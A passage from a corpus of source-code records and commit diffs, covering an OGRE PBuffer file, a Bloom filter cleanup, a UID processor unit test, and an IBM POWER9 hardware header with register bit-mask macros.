0;\/\/wglCreatePbufferARB(old_hdc,format,mWidth,mHeight,pattrib_default);\n        if(!mPBuffer)\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglCreatePbufferARB() failed\", \" Win32PBuffer::createPBuffer\");\n#if 0\n        mHDC = wglGetPbufferDCARB(mPBuffer);\n        if(!mHDC) {\n            wglDestroyPbufferARB(mPBuffer);\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglGetPbufferDCARB() failed\", \" Win32PBuffer::createPBuffer\");\n        }\n            \n        mGlrc = wglCreateContext(mHDC);\n        if(!mGlrc) {\n            wglReleasePbufferDCARB(mPBuffer,mHDC);\n            wglDestroyPbufferARB(mPBuffer);\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglCreateContext() failed\", \" Win32PBuffer::createPBuffer\");\n        }\n\n        if(!wglShareLists(old_context,mGlrc)) {\n            wglDeleteContext(mGlrc);\n            wglReleasePbufferDCARB(mPBuffer,mHDC);\n            wglDestroyPbufferARB(mPBuffer);\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglShareLists() failed\", \" Win32PBuffer::createPBuffer\");\n        }\n                \n        \/\/ Query real width and height\n        int iWidth, iHeight;\n        wglQueryPbufferARB(mPBuffer, WGL_PBUFFER_WIDTH_ARB, &iWidth);\n        wglQueryPbufferARB(mPBuffer, WGL_PBUFFER_HEIGHT_ARB, &iHeight);\n        mWidth = iWidth;  \n        mHeight = iHeight;\n        LogManager::getSingleton().stream()\n            << \"Win32RenderTexture::PBuffer created -- Real dimensions \"\n            << mWidth << \"x\" << mHeight;\n#endif\n    }\n    void Win32PBuffer::destroyPBuffer() \n    {\n        wglDeleteContext(mGlrc);\n        \/\/ FIXME lookup procaddress\n#if 0\n        wglReleasePbufferDCARB(mPBuffer,mHDC);\n        wglDestroyPbufferARB(mPBuffer);\n#endif\n    }\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"BloomFilter.h\"\n#include \"System\/Log.h\"\n\nstatic int32_t table32[256];\nstatic int32_t table40[256];\nstatic int32_t table48[256];\nstatic int32_t table54[256];\nstatic int32_t mods[BLOOMFILTER_P_DEGREE];\n\nstatic int32_t HashRabin(ReadBuffer& r)\n{\n    int32_t         w;\n    unsigned        s, start;\n    \n    w = 0;\n    start = 0;\n\n    if (r.GetLength() == 0)\n        return 0;\n\n    if (r.GetLength() % 2 == 1)\n    {\n        w = r.GetCharAt(0) & 0xFFFF;\n        start = 1;\n    }\n\n    for (s = start; s < (r.GetLength() - 1); s += 2)\n    {\n        w = table32[w & 0xFF] ^\n            table40[(((uint32_t)w) >> 8)  & 0xFF] ^\n            table48[(((uint32_t)w) >> 16) & 0xFF] ^\n            table54[(((uint32_t)w) >> 24) & 0xFF] ^\n            ((r.GetCharAt(s) & 0xFFFF) << 16) ^ (r.GetCharAt(s + 1) & 0xFFFF);\n    }\n\n    return w;\n}\n\nstatic int32_t HashRabin(int32_t r)\n{\n    int32_t w;\n\n    w = r;\n\n    w =\n     table32[w & 0xFF] ^\n     table40[(((uint32_t)w) >> 8)  & 0xFF] ^\n     table48[(((uint32_t)w) >> 16) & 0xFF] ^\n     table54[(((uint32_t)w) >> 24) & 0xFF] ^ r;\n\n    return w;\n}\n\nvoid BloomFilter::StaticInit()\n{\n    unsigned i, j, c;\n\n    mods[0] = BLOOMFILTER_POLYNOMIAL;\n    for (i = 1; i < BLOOMFILTER_P_DEGREE; i++)\n    {\n        mods[i] = mods[i - 1] << 1;\n        if ((mods[i - 1] & BLOOMFILTER_X_P_DEGREE) != 0)\n            mods[i] ^= BLOOMFILTER_POLYNOMIAL;\n    }\n\n    for (i = 0; i < 256; i++)\n    {\n        c = i;\n        for (j = 0; j < 8 && c != 0; j++)\n        {\n            if ((c & 1) != 0)\n            {\n                table32[i] ^= mods[j];\n                table40[i] ^= mods[j + 8];\n                table48[i] ^= mods[j + 16];\n                table54[i] ^= mods[j + 24];\n            }\n            c = ((unsigned)(c) >> 1);\n        }\n    }\n}\n\nvoid BloomFilter::SetSize(uint32_t size)\n{\n    buffer.Allocate(size);\n    buffer.SetLength(size);\n    buffer.Zero();\n}\n\nvoid BloomFilter::Add(ReadBuffer& key)\n{\n    unsigned    i, k, j, bitindex;\n    char*       p;\n    unsigned    hashes[BLOOMFILTER_NUM_FUNCTIONS];\n\n    GetHashes(hashes, key);\n\n    for (i = 0; i < BLOOMFILTER_NUM_FUNCTIONS; i++)\n    {\n        bitindex = hashes[i];\n        k = bitindex \/ 8;\n        j = bitindex % 8;\n        p = buffer.GetBuffer() + k;\n        *p |= (1 << j);\n    }\n}\n\nvoid BloomFilter::SetBuffer(ReadBuffer& buffer_)\n{\n    buffer.Write(buffer_);\n}\n\nbool BloomFilter::Check(ReadBuffer& key)\n{\n    bool        res;\n    unsigned    i, k, j, bitindex;\n    char        c;\n    unsigned    hashes[BLOOMFILTER_NUM_FUNCTIONS];\n\n    res = true;\n    \n    GetHashes(hashes, key);\n    \n    for (i = 0; i < BLOOMFILTER_NUM_FUNCTIONS; i++)\n    {\n        bitindex = hashes[i];\n        k = bitindex \/ 8;\n        j = bitindex % 8;\n        c = *(buffer.GetBuffer() + k);\n        res &= (((c >> j) & 1));\n        if (!res)\n            break;\n    }\n    \n    return res;\n}\n\nBuffer& BloomFilter::GetBuffer()\n{\n    return buffer;\n}\n\nvoid BloomFilter::Reset()\n{\n    buffer.Reset();\n}\n\n\/\/int32_t BloomFilter::GetHash(unsigned fnum, int32_t original)\n\/\/{\n\/\/    unsigned    i;\n\/\/    int32_t     hash;\n\/\/\n\/\/    hash = original;\n\/\/    for (i = 0; i < fnum; i++)\n\/\/        hash = HashRabin(hash);\n\/\/\n\/\/    hash = hash % (buffer.GetLength() * 8);\n\/\/\n\/\/    if (hash < 0)\n\/\/        hash = -hash;\n\/\/\n\/\/    return hash;\n\/\/}\n\nvoid BloomFilter::GetHashes(unsigned hashes[], ReadBuffer& key)\n{\n    unsigned    i;\n    int32_t     hash;\n    \n    hash = HashRabin(key);\n\n    for (i = 0; i < BLOOMFILTER_NUM_FUNCTIONS; i++)\n    {\n        hashes[i] = hash % (buffer.GetLength() * 8);\n        hash = HashRabin(hash);\n    }\n}\n\nunsigned BloomFilter::BitCount(uint32_t u)\n{\n    uint32_t    count;\n\n    count = u \n          - ((u >> 1) & 033333333333)\n          - ((u >> 2) & 011111111111);\n    return ((count + (count >> 3)) & 030707070707) % 63;\n}<commit_msg>Removed uncommented part from BloomFilter.<commit_after>#include \"BloomFilter.h\"\n#include \"System\/Log.h\"\n\nstatic int32_t table32[256];\nstatic int32_t table40[256];\nstatic int32_t table48[256];\nstatic int32_t table54[256];\nstatic int32_t mods[BLOOMFILTER_P_DEGREE];\n\nstatic int32_t HashRabin(ReadBuffer& r)\n{\n    int32_t         w;\n    unsigned        s, start;\n    \n    w = 0;\n    start = 0;\n\n    if (r.GetLength() == 0)\n        return 0;\n\n    if (r.GetLength() % 2 == 1)\n    {\n        w = r.GetCharAt(0) & 0xFFFF;\n        start = 1;\n    }\n\n    for (s = start; s < (r.GetLength() - 1); s += 2)\n    {\n        w = table32[w & 0xFF] ^\n            table40[(((uint32_t)w) >> 8)  & 0xFF] ^\n            table48[(((uint32_t)w) >> 16) & 0xFF] ^\n            table54[(((uint32_t)w) >> 24) & 0xFF] ^\n            ((r.GetCharAt(s) & 0xFFFF) << 16) ^ (r.GetCharAt(s + 1) & 0xFFFF);\n    }\n\n    return w;\n}\n\nstatic int32_t HashRabin(int32_t r)\n{\n    int32_t w;\n\n    w = r;\n\n    w =\n     table32[w & 0xFF] ^\n     table40[(((uint32_t)w) >> 8)  & 0xFF] ^\n     table48[(((uint32_t)w) >> 16) & 0xFF] ^\n     table54[(((uint32_t)w) >> 24) & 0xFF] ^ r;\n\n    return w;\n}\n\nvoid BloomFilter::StaticInit()\n{\n    unsigned i, j, c;\n\n    mods[0] = BLOOMFILTER_POLYNOMIAL;\n    for (i = 1; i < BLOOMFILTER_P_DEGREE; i++)\n    {\n        mods[i] = mods[i - 1] << 1;\n        if ((mods[i - 1] & BLOOMFILTER_X_P_DEGREE) != 0)\n            mods[i] ^= BLOOMFILTER_POLYNOMIAL;\n    }\n\n    for (i = 0; i < 256; i++)\n    {\n        c = i;\n        for (j = 0; j < 8 && c != 0; j++)\n        {\n            if ((c & 1) != 0)\n            {\n                table32[i] ^= mods[j];\n                table40[i] ^= mods[j + 8];\n                table48[i] ^= mods[j + 16];\n                table54[i] ^= mods[j + 24];\n            }\n            c = ((unsigned)(c) >> 1);\n        }\n    }\n}\n\nvoid BloomFilter::SetSize(uint32_t size)\n{\n    buffer.Allocate(size);\n    buffer.SetLength(size);\n    buffer.Zero();\n}\n\nvoid BloomFilter::Add(ReadBuffer& key)\n{\n    unsigned    i, k, j, bitindex;\n    char*       p;\n    unsigned    hashes[BLOOMFILTER_NUM_FUNCTIONS];\n\n    GetHashes(hashes, key);\n\n    for (i = 0; i < BLOOMFILTER_NUM_FUNCTIONS; i++)\n    {\n        bitindex = hashes[i];\n        k = bitindex \/ 8;\n        j = bitindex % 8;\n        p = buffer.GetBuffer() + k;\n        *p |= (1 << j);\n    }\n}\n\nvoid BloomFilter::SetBuffer(ReadBuffer& buffer_)\n{\n    buffer.Write(buffer_);\n}\n\nbool BloomFilter::Check(ReadBuffer& key)\n{\n    bool        res;\n    unsigned    i, k, j, bitindex;\n    char        c;\n    unsigned    hashes[BLOOMFILTER_NUM_FUNCTIONS];\n\n    res = true;\n    \n    GetHashes(hashes, key);\n    \n    for (i = 0; i < BLOOMFILTER_NUM_FUNCTIONS; i++)\n    {\n        bitindex = hashes[i];\n        k = bitindex \/ 8;\n        j = bitindex % 8;\n        c = *(buffer.GetBuffer() + k);\n        res &= (((c >> j) & 1));\n        if (!res)\n            break;\n    }\n    \n    return res;\n}\n\nBuffer& BloomFilter::GetBuffer()\n{\n    return buffer;\n}\n\nvoid BloomFilter::Reset()\n{\n    buffer.Reset();\n}\n\nvoid BloomFilter::GetHashes(unsigned hashes[], ReadBuffer& key)\n{\n    unsigned    i;\n    int32_t     hash;\n    \n    hash = HashRabin(key);\n\n    for (i = 0; i < BLOOMFILTER_NUM_FUNCTIONS; i++)\n    {\n        hashes[i] = hash % (buffer.GetLength() * 8);\n        hash = HashRabin(hash);\n    }\n}\n\nunsigned BloomFilter::BitCount(uint32_t u)\n{\n    uint32_t    count;\n\n    count = u \n          - ((u >> 1) & 033333333333)\n          - ((u >> 2) & 011111111111);\n    return ((count + (count >> 3)) & 030707070707) % 63;\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2017 offa\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining\n\/\/ a copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal in the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject to\n\/\/ the following conditions.\n\/\/\n\/\/ The above copyright notice and this permission notice shall be\n\/\/ included in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\/\/ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\/\/ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n\/\/ BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n\/\/ ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"danek\/internal\/UidIdentifierProcessor.h\"\n#include \"danek\/ConfigurationException.h\"\n#include \"danek\/StringBuffer.h\"\n#include <gmock\/gmock.h>\n\nusing danek::UidIdentifierProcessor;\nusing danek::StringBuffer;\nusing danek::ConfigurationException;\nusing namespace testing;\n\nclass UidIdentifierProcessorTest : public testing::Test\n{\n};\n\nTEST(UidIdentifierProcessorTest, expandString)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"abc\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"abc\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithScope)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"a.b.c\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"a.b.c\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithScopeAndUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"a.uid-b.uid-0013-c\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"a.uid-000000000-b.uid-000000001-c\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-xyz\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-xyz\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithUidIncreasesUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-x.uid-y.uid-z\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-x.uid-000000001-y.uid-000000002-z\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandMaintaintsUidState)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-x\"};\n    StringBuffer str2{\"uid-y\"};\n    StringBuffer str3{\"uid-z\"};\n\n    p.expand(str);\n    p.expand(str2);\n    p.expand(str3);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-x\"));\n    EXPECT_THAT(str2.str(), StrEq(\"uid-000000001-y\"));\n    EXPECT_THAT(str3.str(), StrEq(\"uid-000000002-z\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithUidAndNumber)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-01234-xyz\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-xyz\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithWithouthUidSuffixThrows)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-\"};\n    StringBuffer str2{\"uid--\"};\n    StringBuffer str3{\"uid--abc\"};\n    StringBuffer str4{\"uid-9abc\"};\n    StringBuffer str5{\"uid-123-\"};\n    StringBuffer str6{\"uid-123--a\"};\n    StringBuffer str7{\"uid-123-456a\"};\n\n    EXPECT_THROW(p.expand(str), ConfigurationException);\n    EXPECT_THROW(p.expand(str2), ConfigurationException);\n    EXPECT_THROW(p.expand(str3), ConfigurationException);\n    EXPECT_THROW(p.expand(str4), ConfigurationException);\n    EXPECT_THROW(p.expand(str5), ConfigurationException);\n    EXPECT_THROW(p.expand(str6), ConfigurationException);\n    EXPECT_THROW(p.expand(str7), ConfigurationException);\n}\n\nTEST(UidIdentifierProcessorTest, unexpandString)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"abc\", str);\n    EXPECT_THAT(result, StrEq(\"abc\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithScope)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"a.b.c\", str);\n    EXPECT_THAT(result, StrEq(\"a.b.c\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithScopeAndUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"a.uid-000000000-b.uid-000000001-c\", str);\n    EXPECT_THAT(result, StrEq(\"a.uid-b.uid-c\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"uid-xyz\", str);\n    EXPECT_THAT(result, StrEq(\"uid-xyz\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithUidAndNumber)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"uid-000000003-xyz\", str);\n    EXPECT_THAT(result, StrEq(\"uid-xyz\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithUidAndUidWithNumbers)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"uid-000000000-x.uid-y.uid-000000002-z\", str);\n    EXPECT_THAT(result, StrEq(\"uid-x.uid-y.uid-z\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithDifferentUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n    StringBuffer str2;\n    StringBuffer str3;\n\n    const auto result1 =  p.unexpand(\"uid-000000000-x\", str);\n    const auto result2 = p.unexpand(\"uid-000000001-y\", str2);\n    const auto result3 = p.unexpand(\"uid-000000002-z\", str3);\n    EXPECT_THAT(result1, StrEq(\"uid-x\"));\n    EXPECT_THAT(result2, StrEq(\"uid-y\"));\n    EXPECT_THAT(result3, StrEq(\"uid-z\"));\n}\n\n<commit_msg>Test case added.<commit_after>\/\/ Copyright (c) 2017 offa\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining\n\/\/ a copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal in the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject to\n\/\/ the following conditions.\n\/\/\n\/\/ The above copyright notice and this permission notice shall be\n\/\/ included in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\/\/ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\/\/ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n\/\/ BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n\/\/ ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"danek\/internal\/UidIdentifierProcessor.h\"\n#include \"danek\/ConfigurationException.h\"\n#include \"danek\/StringBuffer.h\"\n#include <gmock\/gmock.h>\n\nusing danek::UidIdentifierProcessor;\nusing danek::StringBuffer;\nusing danek::ConfigurationException;\nusing namespace testing;\n\nclass UidIdentifierProcessorTest : public testing::Test\n{\n};\n\nTEST(UidIdentifierProcessorTest, expandString)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"abc\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"abc\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithScope)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"a.b.c\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"a.b.c\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithScopeAndUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"a.uid-b.uid-0013-c\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"a.uid-000000000-b.uid-000000001-c\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-xyz\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-xyz\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithUidIncreasesUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-x.uid-y.uid-z\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-x.uid-000000001-y.uid-000000002-z\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandMaintaintsUidState)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-x\"};\n    StringBuffer str2{\"uid-y\"};\n    StringBuffer str3{\"uid-z33\"};\n\n    p.expand(str);\n    p.expand(str2);\n    p.expand(str3);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-x\"));\n    EXPECT_THAT(str2.str(), StrEq(\"uid-000000001-y\"));\n    EXPECT_THAT(str3.str(), StrEq(\"uid-000000002-z33\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithUidAndNumber)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-01234-xyz12\"};\n\n    p.expand(str);\n    EXPECT_THAT(str.str(), StrEq(\"uid-000000000-xyz12\"));\n}\n\nTEST(UidIdentifierProcessorTest, expandWithWithouthUidSuffixThrows)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str{\"uid-\"};\n    StringBuffer str2{\"uid--\"};\n    StringBuffer str3{\"uid--abc\"};\n    StringBuffer str4{\"uid-9abc\"};\n    StringBuffer str5{\"uid-123-\"};\n    StringBuffer str6{\"uid-123--a\"};\n    StringBuffer str7{\"uid-123-456a\"};\n\n    EXPECT_THROW(p.expand(str), ConfigurationException);\n    EXPECT_THROW(p.expand(str2), ConfigurationException);\n    EXPECT_THROW(p.expand(str3), ConfigurationException);\n    EXPECT_THROW(p.expand(str4), ConfigurationException);\n    EXPECT_THROW(p.expand(str5), ConfigurationException);\n    EXPECT_THROW(p.expand(str6), ConfigurationException);\n    EXPECT_THROW(p.expand(str7), ConfigurationException);\n}\n\nTEST(UidIdentifierProcessorTest, unexpandString)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"abc\", str);\n    EXPECT_THAT(result, StrEq(\"abc\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithScope)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"a.b.c\", str);\n    EXPECT_THAT(result, StrEq(\"a.b.c\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithScopeAndUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"a.uid-000000000-b.uid-000000001-c\", str);\n    EXPECT_THAT(result, StrEq(\"a.uid-b.uid-c\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"uid-xyz\", str);\n    EXPECT_THAT(result, StrEq(\"uid-xyz\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithUidAndNumber)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"uid-000000003-xyz\", str);\n    EXPECT_THAT(result, StrEq(\"uid-xyz\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithUidAndUidWithNumbers)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n\n    const auto result = p.unexpand(\"uid-000000000-x.uid-y.uid-000000002-z\", str);\n    EXPECT_THAT(result, StrEq(\"uid-x.uid-y.uid-z\"));\n}\n\nTEST(UidIdentifierProcessorTest, unexpandWithDifferentUid)\n{\n    UidIdentifierProcessor p;\n    StringBuffer str;\n    StringBuffer str2;\n    StringBuffer str3;\n\n    const auto result1 =  p.unexpand(\"uid-000000000-x\", str);\n    const auto result2 = p.unexpand(\"uid-000000001-y\", str2);\n    const auto result3 = p.unexpand(\"uid-000000002-z\", str3);\n    EXPECT_THAT(result1, StrEq(\"uid-x\"));\n    EXPECT_THAT(result2, StrEq(\"uid-y\"));\n    EXPECT_THAT(result3, StrEq(\"uid-z\"));\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/lib\/p9_hcd_common.H $      *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\/\/\/\n\/\/\/ @file p9_hcd_common.H\n\/\/\/ @brief common hcode includes\n\/\/\/\n\n\/\/ *HWP HWP Owner          : David Du       <daviddu@us.ibm.com>\n\/\/ *HWP Backup HWP Owner   : Greg Still     <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner           : Sangeetha T S  <sangeet2@in.ibm.com>\n\/\/ *HWP Team               : PM\n\/\/ *HWP Consumed by        : SBE:SGPE:CME\n\/\/ *HWP Level              : 2\n\n#ifndef __P9_HCD_COMMON_H__\n#define __P9_HCD_COMMON_H__\n\n\/\/-------------------------\n\/\/ Macros\n\/\/-------------------------\n\n\/\/ Create a multi-bit mask of \\a n bits starting at bit \\a b\n#define BITS64(b, n) ((0xffffffffffffffffull << (64 - (n))) >> (b))\n\n\/\/ Create a single bit mask at bit \\a b\n#define BIT64(b) BITS64((b), 1)\n\n\/\/ The BUF_* macros apply operations to a newly constructed buffer\n#define BUF_SET(bit)   fapi2::buffer<uint64_t>().setBit<bit>()\n#define BUF_UNSET(bit) fapi2::buffer<uint64_t>().flush<1>().clearBit<bit>()\n#define BUF_INSERT(start,size,val) \\\n    fapi2::buffer<uint64_t>().insertFromRight<start,size>(val)\n#define BUF_REPLACE(start,size,val) \\\n    fapi2::buffer<uint64_t>().flush<1>().insertFromRight<start,size>(val)\n\n\/\/ The following DATA_* and MASK_* macros assume you have\n\/\/ \"fapi2::buffer<uint64_t> l_data64\" declared\n\n\/\/ The DATA_* macros apply operations to a buffer contains existing data\n#define DATA_BIT(buf,op,bit)             buf.op##Bit<bit>()\n#define DATA_SET(bit)                    DATA_BIT(l_data64,set,bit)\n#define DATA_UNSET(bit)                  DATA_BIT(l_data64,clear,bit)\n#define DATA_FIELD(buf,start,size,val)   buf.insertFromRight<start,size>(val)\n#define DATA_INSERT(start,size,val)      DATA_FIELD(l_data64,start,size,val)\n\n\/\/ The MASK_* macros apply operations to a buffer to create a new data mask\n\/\/ data previously stored in the buffer will be overwritten.\n#define MASK_FLUSH(buf,mask)             buf.flush<mask>()\n#define MASK_ZERO                        MASK_FLUSH(l_data64,0)\n#define MASK_ALL                         MASK_FLUSH(l_data64,1)\n#define MASK_BIT(buf,mask,op,bit)        buf.flush<mask>().op##Bit<bit>()\n#define MASK_SET(bit)                    MASK_BIT(l_data64,0,set,bit)\n#define MASK_UNSET(bit)                  MASK_BIT(l_data64,1,clear,bit)\n#define MASK_FIELD(buf,mask,start,size,val) \\\n    buf.flush<mask>().insertFromRight<start,size>(val)\n#define MASK_OR(start,size,val)          MASK_FIELD(l_data64,0,start,size,val)\n#define MASK_AND(start,size,val)         MASK_FIELD(l_data64,1,start,size,val)\n#define MASK_CLR(start,size,val)         MASK_FIELD(l_data64,0,start,size,val)\n\n\/\/-------------------------\n\/\/ Constants\n\/\/-------------------------\n\n\nnamespace p9hcd\n{\n\n\/\/ Constants to calculate hcd poll timeout intervals\nenum P9_HCD_COMMON_TIMEOUT_CONSTANTS\n{\n    CYCLES_PER_MS       = 500000, \/\/ PPE FREQ 500MHZ\n    INSTS_PER_POLL_LOOP = 8       \/\/\n};\n\n\/\/ Init Vectors for Register Setup\nenum P9_HCD_COMMON_INIT_VECTORS\n{\n    \/\/ 0     -  CHIPLET_ENABLE\n    \/\/ 1     -  PCB_EP_RESET\n    \/\/ 3     -  PLL_TEST_EN\n    \/\/ 4     -  PLLRST\n    \/\/ 5     -  PLLBYP\n    \/\/ 12    -  VITL_MPW1\n    \/\/ 13    -  VITL_MPW2\n    \/\/ 14    -  VITL_MPW3\n    \/\/ 18    -  FENCE_EN\n    NET_CTRL0_INIT_VECTOR = (BIT64(0) | BIT64(1) | BITS64(3, 3) | BITS64(12, 3) | BIT64(18)),\n    HANG_PULSE1_INIT_VECTOR = BIT64(5)\n};\n\n\/\/ Clock Control Constants\nenum P9_HCD_COMMON_CLK_CTRL_CONSTANTS\n{\n    CLK_STOP_CMD                             = BIT64(0),\n    CLK_START_CMD                            = BIT64(1),\n    CLK_SLAVE_MODE                           = BIT64(2),\n    CLK_MASTER_MODE                          = BIT64(3),\n    CLK_REGION_DPLL                          = BIT64(14),\n    CLK_REGION_L2                            = BITS64(8, 2),\n    CLK_REGION_ALL_BUT_DPLL_L2               = BITS64(4, 4) | BITS64(10, 4),\n    CLK_REGION_ALL                           = BITS64(4, 11),\n    CLK_THOLD_ALL                            = BITS64(48, 3),\n    CLK_THOLD_NSL_ARY                        = BITS64(49, 2)\n};\n\n\/\/ Clock Control Vectors\nenum 